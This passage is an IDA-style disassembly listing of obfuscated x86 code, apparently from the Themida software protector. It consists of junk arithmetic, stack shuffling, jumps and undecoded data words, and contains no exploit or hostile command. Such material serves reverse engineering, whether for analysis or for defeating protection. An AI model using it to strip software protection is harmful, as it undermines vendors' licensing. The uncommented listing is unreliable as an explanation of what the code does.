		dd 0C4832424h, 9724E904h, 148BFFFFh, 4C48324h, 29C2CB81h
		dd 0E3810853h, 402C639Ch, 0FF84CEE9h, 0B60F66FFh, 229DE9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53F5AA:				; CODE XREF: Themida_:005391A0j
		xor	ecx, 0A73DB14Ah
		xor	ebx, ecx
		pop	ecx
		jmp	loc_53AA30
; ---------------------------------------------------------------------------
		dd 0D102E1C1h, 43C981E9h, 8168A94Bh, 621807C1h,	59CA01F2h
		dd 0DC5E9h
		db 0
; ---------------------------------------------------------------------------


loc_53F5D1:				; CODE XREF: Themida_:0054025Aj
		or	ecx, 57A1D51h
		sub	ecx, 166157CCh
		or	ecx, 0E7A362Ch
		add	ecx, 27724A50h
		add	ebx, 0A1793Bh
		add	ebx, ecx
		push	esi
		jmp	loc_535B7E
; ---------------------------------------------------------------------------


loc_53F5F7:				; CODE XREF: Themida_:0053D276j
		add	esp, 4
		jmp	loc_5395F3
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 4C5h, 4BE5600h, 1000000h, 0F780E9F5h, 0E328FFFFh, 148B5866h
		dd 4C48124h, 30000000h,	5BE95BD8h, 57000005h, 0C781E789h
		dd 4, 8904EC83h, 0BA522404h, 5CD95D80h,	50A661B8h, 5AD02966h
		dd 12213525h, 224E948h,	0C6010000h, 4DE76858h, 9AE90000h
		dd 29FFFF8Bh, 0C2AAE9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53F666:				; CODE XREF: Themida_:0053C843j
		add	esp, 4
		or	eax, eax
		jmp	loc_53CA59
; ---------------------------------------------------------------------------


loc_53F673:				; CODE XREF: Themida_:005367B0j
		mov	esi, 182F7D46h
		push	esi
		add	dword ptr [esp], 220A1FA8h
		pop	ebp
		sub	ebp, 220A1FA8h
		jmp	loc_537666
; ---------------------------------------------------------------------------


loc_53F68C:				; CODE XREF: Themida_:00536227j
		jmp	loc_535AC1
; ---------------------------------------------------------------------------
		db 0C1h, 0E1h, 8
		dd 0FFCA59E9h, 243C89FFh, 4EC81h, 0C890000h, 2723B924h
		dd 0CF890B54h, 0FFF9FAE9h, 242C89FFh, 4BDh, 8BEB0100h
		dd 0BFE9242Ch
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53F6C3:				; CODE XREF: Themida_:00538372j
		sub	eax, ebp
		pop	ebp
		jmp	loc_539577
; ---------------------------------------------------------------------------
		db 66h
		dd 44E932FFh, 5CFFFFBFh, 0FF241489h, 0E9042474h, 0FFFFFBE3h
; ---------------------------------------------------------------------------


loc_53F6E0:				; CODE XREF: Themida_:00541391j
		mov	ecx, [esp]
		jmp	loc_54139F
; ---------------------------------------------------------------------------
		dd 405h, 40500h, 4870000h, 535E5C24h, 30D2B850h, 85682050h
		dd 89000028h, 4872404h,	0BD1AE924h, 8852FFFFh, 0ACECE9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53F716:				; CODE XREF: Themida_:005361F8j
		sub	ecx, 143B289Fh
		sub	ecx, 6789101Dh
		jmp	loc_537CDB
; ---------------------------------------------------------------------------


loc_53F727:				; CODE XREF: Themida_:0053A8CEj
		push	edi
		mov	edi, 0FE5F000Eh
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_535B8E
; ---------------------------------------------------------------------------


loc_53F73A:				; CODE XREF: Themida_:00536B37j
		mov	[esp], ecx
		mov	ecx, 76AA2A84h
		shr	ecx, 3
		add	ecx, 20163853h
		xor	ecx, 0D1E2CF0h
		add	ecx, 176377CFh
		jmp	loc_536B5D
; ---------------------------------------------------------------------------
		dd 241C335Ah, 33241C31h, 59E9241Ch, 66FFFF6Ah, 3AF5C381h
		dd 66C30166h, 3AF5EB81h, 0FFDFC2E9h, 67CD81FFh,	81349C41h
		dd 774F89CDh, 0EBED8143h, 0E9FFFFEFh, 0FFFF9A11h, 0BD242C89h
		dd 41D04D0Ah, 0FFBA33E9h, 243C89FFh, 0FFD96EE9h, 241C29FFh
		dd 50D3F75Bh, 3E0068h, 242C8900h, 9714DEBDh, 36E5B81Eh
		dd 3BE92697h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53F7C7:				; CODE XREF: Themida_:0053E1D4j
		pop	edi
		shl	ecx, 1
		shr	ecx, 4
		push	esi
		mov	esi, 20F4F2D4h
		sub	ecx, 47974E22h
		add	ecx, esi
		add	ecx, 47974E22h
		pop	esi
		jmp	loc_538D2C
; ---------------------------------------------------------------------------
		db 68h
		dd 7633CB8h, 0FFB29EE9h, 0EC835CFFh, 24048904h,	4B8h, 0FE50E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53F802:				; CODE XREF: Themida_:0053F449j
		pop	eax
		add	esp, 4
		push	esi
		jmp	loc_5380FC
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0CAE945DDh, 0FFFFFFB9h, 565B2434h, 14C1E9h, 0E9EC8800h
		dd 0FFFFB672h, 0E2EE8159h, 0F7569F61h, 86EE81D6h, 56177058h
		dd 3C756668h, 81465E25h, 20078FEEh, 79CE8139h, 8120E359h
		dd 0FFFFFFC6h, 0FDB850FFh, 0F71B507Bh, 7AB635D8h, 0C601ACAEh
		dd 5EF00158h, 0AD2DF001h, 5E35017Ch, 1D9D68h, 0E47CE900h
		dd 1025FFFFh, 40102F61h, 1DA9E9h, 6EAC100h, 0C281DAF7h
		dd 7BD5C5D6h, 11D4E9h
		db 0
; ---------------------------------------------------------------------------


loc_53F891:				; CODE XREF: Themida_:005370C0j
		pop	esp
		add	dword ptr [esp+4], 59CE6543h
		add	[esp+4], ecx
		sub	dword ptr [esp+4], 59CE6543h
		pop	ecx
		jmp	loc_539A4F
; ---------------------------------------------------------------------------
		dd 957B951h, 0CE893F2Fh, 0FFFF6FE9h, 8BD301FFh,	0CAE92414h
		dd 68FFFFF2h, 4CAAh, 14FFE9h, 87E95500h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53F8D3:				; CODE XREF: Themida_:005383AFj
		mov	edx, 6777681h
		jmp	loc_53CF33
; ---------------------------------------------------------------------------


loc_53F8DD:				; CODE XREF: Themida_:005390A7j
		add	eax, edi
		pop	edi
		jmp	loc_53967C
; ---------------------------------------------------------------------------
		db 53h,	0B7h, 0C8h
		dd 14E9A604h, 31000011h, 0CB015DE9h, 68515559h,	5A1345AAh
		dd 0EF5FE959h, 85B9FFFFh, 0E9E488DAh, 0FFFFD1A6h, 9D1C77FFh
		dd 4105866h, 0A6E99C24h, 81FFFF61h, 4C1h, 4C18100h, 87000000h
		dd 15C240Ch, 14875EF2h,	1191E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53F936:				; CODE XREF: Themida_:005370FDj
		push	2E11h
		mov	[esp], edi
		push	ebx
		jmp	loc_54092D
; ---------------------------------------------------------------------------


loc_53F944:				; CODE XREF: Themida_:00538D78j
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		push	edi
		push	ebx
		mov	ebx, 370D1FA1h
		mov	edi, ebx
		jmp	loc_540BCC
; ---------------------------------------------------------------------------
		db 66h
		dd 18DE6859h, 0D3E90000h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53F963:				; CODE XREF: Themida_:0053C6CDj
		add	dword ptr [esp], 4
		jmp	loc_535AFE
; ---------------------------------------------------------------------------


loc_53F96C:				; CODE XREF: Themida_:0053E077j
		mov	[esp], edi
		mov	edi, 24A749CBh
		mov	eax, edi
		pop	edi
		not	eax
		dec	eax
		add	eax, 39175FC0h
		mov	ebx, eax
		pop	eax
		add	[esp+4], ebx
		jmp	loc_54074B
; ---------------------------------------------------------------------------


loc_53F98B:				; CODE XREF: Themida_:0053D63Aj
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	5EA3h
		mov	[esp], esi
		push	ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 1
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	edx
		mov	edx, ebp
		mov	esi, edx
		pop	edx
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		and	eax, esi
		jmp	loc_537F33
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 60EFE924h, 1C89FFFFh, 0C8C5E924h, 0C781FFFFh, 277700D4h
		dd 5EE9C701h, 81FFFFBAh, 4E468DEFh, 9CF78106h, 29D88785h
		dd 243C8BFAh, 8104C483h, 0C62C74EDh, 900EE928h,	8166FFFFh
		dd 664C88CBh, 66FFEB83h, 0FFFFEB81h, 0D4EB8166h, 0CC2FE98Fh
		dd 0C281FFFFh, 4, 4BB53h, 0DA010000h, 2414875Bh, 0E9C8295Ch
		dd 0FFFF87A5h
; ---------------------------------------------------------------------------


loc_53FA38:				; CODE XREF: Themida_:0053C52Ej
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_53A546
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 0FFE7BEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53FA49:				; CODE XREF: Themida_:00537F1Fj
		shl	esi, 8
		push	edx
		push	edi
		jmp	loc_53CF8D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812414h, 4, 65E9F201h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53FA63:				; CODE XREF: Themida_:0053CBCCj
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 1F131BCh
		or	ebp, 1507102Bh
		neg	ebp
		sub	ebp, 0EA08CE3Dh
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	edi, [esp]
		jmp	loc_53C4DF
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4EC8359h, 89242C89h,	1836E9E5h, 0BF570000h, 75A919DCh
		dd 815FFD01h, 0FB4DD8EDh, 5DEB0175h, 2B2568h, 24148900h
		dd 0FF7F22E9h, 89525CFFh, 4C281E2h, 83000000h, 148704EAh
		dd 91E95C24h, 5BFFFF62h, 2C07E8C0h, 0E9C3003Ah,	0FFFFCB6Eh
		dd 2098C681h, 54E912D6h, 66FFFFCFh, 81240C8Bh, 2C4h, 0DB46E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53FB06:				; CODE XREF: Themida_:00536796j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_539130
; ---------------------------------------------------------------------------
		db 4Bh,	81h, 0C3h
		dd 0FBA73B9Dh, 515BDA01h, 2B9h,	2EC28100h, 81722355h, 0AE2337EAh
		dd 81CA0154h, 0AE2337C2h, 0BAEE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53FB3E:				; CODE XREF: Themida_:00541DD9j
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_53D5F9
; ---------------------------------------------------------------------------
aL4Sw		db '‹4$éw ',0
		align 10h
		dd 0E92434FFh, 283Ah, 0C8BE828h, 0E63AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53FB62:				; CODE XREF: Themida_:00535ADFj
		add	esp, 4
		neg	cl
		push	ax
		jmp	loc_53FE14
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 58669D1Ch, 24041166h, 5F43E99Ch, 0F659FFFFh,	0B47CE9DEh
		dd 0EC81FFFFh, 2, 240C8966h, 2C4EB050h,	4EC8157h, 89000000h
		dd 5EB62414h, 8087C680h, 0F68027EEh, 5AF030E3h,	5158C588h
		dd 0A7E9FAB1h, 81FFFF71h, 4ECh,	240C8900h, 0FFF22FE9h
		dd 241C89FFh, 453EB951h, 0BD551BFCh, 28B4526h, 0FFA266E9h
		dd 0C895CFFh, 81595424h, 4C1h, 2C18100h, 68000000h, 331Dh
		dd 0FF240C89h, 0E9042474h, 0FFFF9081h, 2474FF56h, 2434FF04h
		dd 0E789575Eh, 4C781h, 0BB530000h, 4, 875BDF01h, 0AE9243Ch
		dd 81FFFFE6h, 4C6h, 2C68300h, 5ACD68h, 24348900h, 0FF7135E9h
		dd 0E9575CFFh, 0FFFF8470h, 5B054840h, 31DB47C7h, 0E58158C5h
		dd 61784CE3h, 5307EDC1h, 102ABD55h, 0CD8136FCh,	550143DCh
		dd 0CD81D5F7h, 49B57BE6h, 0E907E5C1h, 0FFFFE725h, 4240483h
		dd 0FFE6EBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53FC75:				; CODE XREF: Themida_:0053AD2Ej
		and	ebx, 505E7CAEh
		push	edi
		mov	edi, 0CA20C73h
		dec	edi
		and	edi, 496967E1h
		add	edi, 0F2F3BFAh
		add	edi, 58C05381h
		sub	edi, 65D6037h
		and	ebx, edi
		jmp	loc_540C96
; ---------------------------------------------------------------------------
		db 80h,	0EBh, 56h
		dd 8DC0B60Fh, 0E9558704h, 0FFFFD78Fh, 81E38953h, 4C3h
		dd 4EB8300h, 0FF8959E9h, 0EC815BFFh, 4,	0B8240489h, 1965675Ch
		dd 5303E8C1h, 55204EBBh, 5BD8097Ch, 0ADBF5752h,	0E904D97Dh
		dd 0FFFF6A01h
; ---------------------------------------------------------------------------


loc_53FCE8:				; CODE XREF: Themida_:0053D40Cj
		pop	esi
		sub	esi, 793E4846h
		mov	eax, esi
		pop	esi
		add	eax, 27B14DA4h
		sub	eax, 7C670AECh
		add	eax, edi
		add	eax, 7C670AECh
		sub	eax, 27B14DA4h
		push	edx
		mov	edx, 0
		add	edx, eax
		add	[edx], esi
		mov	edx, [esp]
		jmp	loc_53D7CC
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 76C626FBh, 2959CA01h, 0FBEA81F2h, 8B76C626h,	0C4812434h
		dd 4, 4F04EA81h, 0C20118FAh, 4F04C281h,	0D06818FAh, 8900003Eh
		dd 0E9532404h, 188Eh, 0AD443635h, 58C3013Bh, 0EB81EB29h
		dd 2B81449Fh, 3760EB81h, 0ECE9066Ah, 5AFFFFABh,	5E2434FFh
		dd 8104C483h, 4C6h, 4C6E6800h, 2C890000h, 0B335E924h, 6664FFFFh
		dd 6602B60Fh, 6651CB68h, 0E9240489h, 0FFFF5D29h, 875FFD01h
		dd 0F5C242Ch, 0A868C8BEh, 8900000Dh, 12E9240Ch,	52FFFF5Dh
		dd 0B668E289h, 89000019h, 4B82404h, 1000000h, 0EA8358C2h
		dd 74FF5202h, 0E95A0424h, 0FFFF9A3Ch, 2C481h, 34300000h
		dd 24343224h, 0E9243430h, 0FFFFD261h, 5C243487h, 68240C89h
		dd 1, 0FF9B05E9h, 59CD31FFh, 875DEB29h,	895C241Ch, 9C502414h
		dd 0FF5CB8E9h, 0B35352FFh, 0E90BB677h, 0FFFFB2CAh
; ---------------------------------------------------------------------------


loc_53FE14:				; CODE XREF: Themida_:0053FB69j
		mov	ah, 0A6h
		sub	cl, ah
		jmp	loc_536604
; ---------------------------------------------------------------------------
		db 68h,	2 dup(0)
		dd 3BE90000h, 5CFFFFE4h, 840FC009h, 0FFFFAAAAh,	44C168h
		dd 24348900h, 0FEBEh, 1C772100h
		db 8Bh,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_53AD63
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 48DD6472h, 1B8FF281h, 0C1422E53h, 0DAF706E2h, 7201EA81h
		dd 0D3013628h, 0C3815A5Ah, 55143B02h, 0B60F66h,	0FFB797E9h
		dd 4946BEFFh, 0BB5344EDh, 0BB12B6BEh, 4F63C681h, 97E93A5Ch
		dd 81FFFFC3h, 6DBEBDF2h, 0E9D129D3h, 0FFFFD280h, 0FF5C14E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_53FEAD:				; CODE XREF: Themida_:00540BB0j
		add	ebp, 6E001980h
		pop	esi
		and	eax, ebp
		push	dword ptr [esp]
		jmp	loc_535B75
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 4C181h, 0BD550000h, 1E087B87h, 81FFED83h, 0FFFFFFC5h
		dd 83F581FFh, 11E087Bh,	242C8BE9h, 4C481h, 0FF510000h
		dd 59042474h, 8B24048Fh, 51E92424h, 55FFFFF6h, 0A5D6CBDh
		dd 5DEB290Bh, 7BE9CB01h, 0BAFFFF6Dh, 0DBA1F4CDh, 40E9D601h
		dd 8BFFFFFBh, 0A6E92424h, 89FFFF5Bh, 87E92404h
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53FF23:				; CODE XREF: Themida_:0053EA2Bj
		mov	esi, [esp]
		add	esp, 4
		mov	edi, [esp]
		push	26E9h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_53D82C
; ---------------------------------------------------------------------------


loc_53FF41:				; CODE XREF: Themida_:005402FFj
		not	edx
		and	edx, 62536919h
		not	edx
		add	edx, 473B72F1h
		mov	edi, edx
		pop	edx
		and	edi, 1F3F53F8h
		sub	edi, 42802ECh
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		shr	eax, 0Eh
		xor	eax, ecx
		push	0A78h
		mov	[esp], eax
		xchg	edi, [esp]
		push	edi
		jmp	loc_539E28
; ---------------------------------------------------------------------------
		dd 4240483h, 4EC8358h, 0BD242C89h, 6BC22A95h, 2A91ED81h
		dd 0E8016BC2h, 0FF8302E9h, 9DE95CFFh
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53FFA3:				; CODE XREF: Themida_:0053BE87j
		pop	eax
		sub	eax, 79453B65h
		pop	ecx
		add	edi, eax
		pop	eax
		jmp	loc_5376D9
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 0FFFFCADBh, 0CF3088B7h, 0C3B65259h, 5AF700h,	2434FFF8h
		dd 0FF627BE9h, 576856FFh, 5E0E7435h, 0FFD917E9h, 0E9DE89FFh
		dd 0FFFF67BBh, 0D6868h,	240C8900h, 4245ECB9h, 5BC1812Eh
		dd 8101204Fh, 0DD2097F1h, 34C18111h, 2DC1404Ah,	282E220Ch
		dd 0C05C801h, 59282E22h, 7FBEBB53h, 0EB814231h,	42317FBCh
		dd 335BD829h, 4312404h,	24043324h, 6624248Bh, 0E9240489h
		dd 0FFFF5A91h
; ---------------------------------------------------------------------------


loc_540030:				; CODE XREF: Themida_:0054195Cj
		add	dword ptr [esp], 0FFFFFFFFh
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	edx
		mov	edx, 2DA13798h
		sub	edx, 387C4AA2h
		inc	edx
		push	esi
		mov	esi, 44242FAh
		not	esi
		xor	esi, 7ADB2277h
		shl	esi, 7
		shr	esi, 5
		neg	esi
		jmp	loc_53D923
; ---------------------------------------------------------------------------
		db 33h
		dd 1C31241Ch, 241C3324h, 0C83B665Ch, 5A3FE99Ch,	8B66FFFFh
		dd 54522404h, 0D3F6E95Ah, 8953FFFFh, 4C381E3h, 83000000h
		dd 1C8704C3h, 0EC815C24h, 4, 0E9240C89h, 0FFFFFE12h
; ---------------------------------------------------------------------------


loc_5400AC:				; CODE XREF: Themida_:00537E4Bj
		pop	edx
		jmp	loc_53A718
; ---------------------------------------------------------------------------


loc_5400B2:				; CODE XREF: Themida_:0054180Bj
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_541A7C
; ---------------------------------------------------------------------------
		db 0ACh, 0E9h, 4Ah
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5400C3:				; CODE XREF: Themida_:00536C7Dj
		xor	ebx, esi
		mov	esi, [esp]
		jmp	loc_53DB44
; ---------------------------------------------------------------------------
		db 83h,	0C0h, 4
		dd 0FFBCE8E9h, 0E2E9ADFFh, 1FFFFA4h, 0A0EB81F3h, 5E419A7Ah
		dd 0B850C301h, 0CB354Ch, 5167EB81h, 0EB81435Dh,	77B83ABDh
		dd 18F6E9h, 5EF70100h, 5C243C87h, 8904EC83h, 48E9242Ch
		dd 5200000Ch, 0C2815A54h, 4, 4EA81h, 14870000h,	4895C24h
		dd 8D5FE924h, 0EE81FFFFh, 71F721D0h, 1B43C681h,	0EE0109AEh
		dd 1B43EE81h, 0C68109AEh, 71F721D0h, 8B2434FFh,	0C481242Ch
		dd 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_539B2C
; ---------------------------------------------------------------------------
		db 5Ah
		dd 4BE56h, 0BB530000h, 5AA05E12h, 755DE981h, 0D9292EEFh
		dd 0FF7048E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_540185:				; CODE XREF: Themida_:0053D827j
		push	esi
		mov	esi, 1
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_538FD4
; ---------------------------------------------------------------------------


loc_5401AA:				; CODE XREF: Themida_:005362A0j
		mov	edx, 0
		add	edx, ecx
		xor	dword ptr [edx], 202C5368h
		pop	edx
		jmp	loc_53BFA0
; ---------------------------------------------------------------------------
		db 80h,	0F3h, 9Fh
		dd 0F686E380h, 0FBC380D3h, 8862F380h, 0ED805BDDh, 744EE9FAh
		dd 8B66FFFFh, 65682404h, 89000006h, 0E789243Ch,	49B668h
		dd 241C8900h, 0FFD9AEE9h, 79840FFFh, 57FFFFB4h,	9064BDBFh
		dd 29F7815Dh, 10D421Bh,	243C8BFEh, 5104C483h, 73D1BD55h
		dd 0E989548Ch, 0E9CE015Dh, 0FFFF8CB6h, 5D2414F7h, 0FF242C87h
		dd 3C8B2434h, 4C48324h,	6804C483h, 3548h, 0FF9078E9h, 4C483FFh
		dd 8B24048Fh, 0B0E92424h
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_540247:				; CODE XREF: Themida_:0053D27Dj
		push	171Ch
		mov	[esp], ecx
		mov	ecx, 51EB708Bh
		xor	ecx, 1FC15D9Bh
		jmp	loc_53F5D1
; ---------------------------------------------------------------------------


loc_54025F:				; CODE XREF: Themida_:0053F4DAj
		mov	esi, 3D604C5Ah
		xor	esi, 6C636F7Dh
		shr	esi, 2
		dec	esi
		add	esi, 6B1BA7DEh
		push	esi
		sub	dword ptr [esp], 0CC47FCDh
		pop	edi
		add	edi, 0CC47FCDh
		pop	esi
		push	111h
		mov	[esp], ecx
		mov	ecx, 37613654h
		add	edi, ecx
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_53BB27
; ---------------------------------------------------------------------------
aYhN		db 'Yh N',0
		dw 8900h
		dd 5EE92434h, 68FFFF5Bh, 4018h,	68241489h, 4C35h, 43AE9h
		dd 0E2814A00h, 27124ECBh, 0C103EAC1h, 68E907E2h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5402DB:				; CODE XREF: Themida_:0053BB2Ej
		xor	edi, 0D26B4C08h
		add	ecx, edi
		pop	edi
		push	ecx
		add	dword ptr [esp], 60702FD4h
		pop	ebx
		jmp	loc_541073
; ---------------------------------------------------------------------------


loc_5402F2:				; CODE XREF: Themida_:00540842j
		mov	edx, 5626484Bh
		add	edx, 7D2D0636h
		neg	edx
		jmp	loc_53FF41
; ---------------------------------------------------------------------------


loc_540304:				; CODE XREF: Themida_:0053BDA7j
		push	ebx
		push	edi
		mov	edi, 0B0DDB64Dh
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	edx, ebx
		pop	ebx
		sub	eax, edx
		pop	edx
		mov	ebp, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_536D38
; ---------------------------------------------------------------------------
		db 31h
		dd 75685FF8h, 89000040h, 68552434h, 4E7A169Ch, 8EC5815Dh
		dd 8977373Eh, 0F0315DEEh, 0FFF7FFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_540349:				; CODE XREF: Themida_:005381A6j
		mov	[esp], eax
		mov	eax, 4
		sub	esi, 544A51ECh
		add	esi, eax
		add	esi, 544A51ECh
		mov	eax, [esp]
		jmp	loc_536DFF
; ---------------------------------------------------------------------------
		db 0BAh
		dd 3D7E7DC1h, 96E9DAF7h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_540373:				; CODE XREF: Themida_:0053713Bj
		mov	edx, esp
		jmp	loc_53BA46
; ---------------------------------------------------------------------------


loc_54037A:				; CODE XREF: Themida_:0053DB68j
		mov	edi, 1E211B32h
		xor	eax, edi
		pop	edi
		push	esi
		mov	esi, 40E63313h
		and	eax, esi
		pop	esi
		push	edx
		mov	edx, 54097045h
		jmp	loc_5420CB
; ---------------------------------------------------------------------------
		dw 5155h
		dd 2B243481h, 5D22865Bh, 5B2BF581h, 8F552286h, 242C8B02h
		dd 9E17E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5403B2:				; CODE XREF: Themida_:0053B1A8j
		inc	ebx
		or	ebx, 100579DAh
		xor	ebx, 57241E4Fh
		xor	esi, ebx
		pop	ebx
		dec	esi
		add	esi, 7BAD7CA0h
		neg	esi
		push	ebp
		jmp	loc_541BAD
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 18h
		dd 291BE70Dh, 18C281FAh, 0E91BE70Dh, 0FFFF691Bh
; ---------------------------------------------------------------------------


loc_5403E4:				; CODE XREF: Themida_:0053A788j
		pop	esp
		add	eax, 3AB878C4h
		add	eax, 2F926952h
		add	eax, ebx
		sub	eax, 2F926952h
		sub	eax, 3AB878C4h
		push	edi
		mov	edi, 6EA144CBh
		sub	eax, edi
		jmp	loc_53CC60
; ---------------------------------------------------------------------------
		dd 0E95FFA01h, 0FFFF56B1h
; ---------------------------------------------------------------------------


loc_540410:				; CODE XREF: Themida_:0053CD6Fj
		mov	ebx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		pop	ebp
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 46274E8Bh
		or	esi, 509053CBh
		not	esi
		and	esi, 4491660Eh
		sub	esi, 4CCD5E2Ch
		sub	ebp, 6E001980h
		jmp	loc_540BAE
; ---------------------------------------------------------------------------
		db 66h
		dd 6866595Ah, 896638F0h, 14B7241Ch, 20E95166h, 58FFFFA2h
		dd 5478BE56h, 56E9108Bh
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54046B:				; CODE XREF: Themida_:0053AC24j
		pop	eax
		add	[esp+4], esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 6E5A22F2h
		shl	ebp, 2
		xor	ebp, 0DBE6AA31h
		sub	edx, ebp
		pop	ebp
		mov	eax, edx
		jmp	loc_53BB39
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 2424895Ch, 4BA52h, 54010000h, 0BCE90424h, 68FFFFF8h
		dd 992h, 0E9240489h, 0FFFF5605h, 4C481h, 48F0000h, 34FF5C24h
		dd 2434FF24h, 0E924048Bh, 0FFFFC125h, 0FF55E8E9h, 48B66FFh
		dd 2586824h, 1C890000h,	56E38924h, 0D0BE9h, 0C8B6600h
		dd 0AE95324h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5404F7:				; CODE XREF: Themida_:0053BBFFj
		add	edx, 0FA12EBCh
		and	edx, 33790C1Bh
		jmp	loc_53A51D
; ---------------------------------------------------------------------------
		dd 0E9240489h, 0FFFF75A6h, 683C77FFh, 458Ch, 50243489h
		dd 791CF0B8h, 58C68931h, 4247401h, 2434FF5Eh, 0E3895358h
		dd 4C381h, 51570000h, 4651C68h,	0E9C15969h, 0E9D18704h
		dd 0FFFFC655h
; ---------------------------------------------------------------------------


loc_540548:				; CODE XREF: Themida_:005405F7j
		add	esi, edx
		pop	edx
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_53E3F1
; ---------------------------------------------------------------------------


loc_540562:				; CODE XREF: Themida_:00540C9Fj
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	edx
		jmp	loc_537F93
; ---------------------------------------------------------------------------
		dd 0B951964Eh, 1BCB48C0h, 3A2BC181h, 0D9F724D4h, 0CB58C181h
		dd 0C8014E89h, 44B95159h, 811AF910h, 721615E1h,	0D1C18163h
		dd 81085B60h, 835347E9h, 0E9D1F75Dh, 0DA1h, 0E903EFC0h
		dd 1240h, 8304C483h, 0EC8104C4h, 4, 54241C89h, 4C3815Bh
		dd 0E9000000h, 0FFFFB8F6h, 2424D35Ch, 54E7E99Ch, 0E954FFFFh
		dd 0FFFF70C8h
; ---------------------------------------------------------------------------


loc_5405E0:				; CODE XREF: Themida_:0053DA74j
		neg	ebp
		add	ebp, 2A5E29B6h
		add	ebp, 2A35F490h
		add	esi, ebp
		pop	ebp
		push	edx
		mov	edx, 4
		jmp	loc_540548
; ---------------------------------------------------------------------------
		dd 2DE9DD01h, 0B5FFFFCBh, 0E9EB8880h, 0FFFF6028h, 240C8B66h
		dd 0FFC470E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_540615:				; CODE XREF: Themida_:0053B333j
		add	esp, 4
		rep movsd
		jmp	loc_53821A
; ---------------------------------------------------------------------------
aUfx		db '(ãfX',0
		db 0F3h
		dd 663CC380h, 0E950665Ah, 0FFFF884Fh, 4EC81h, 2C890000h
		dd 0EC04E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


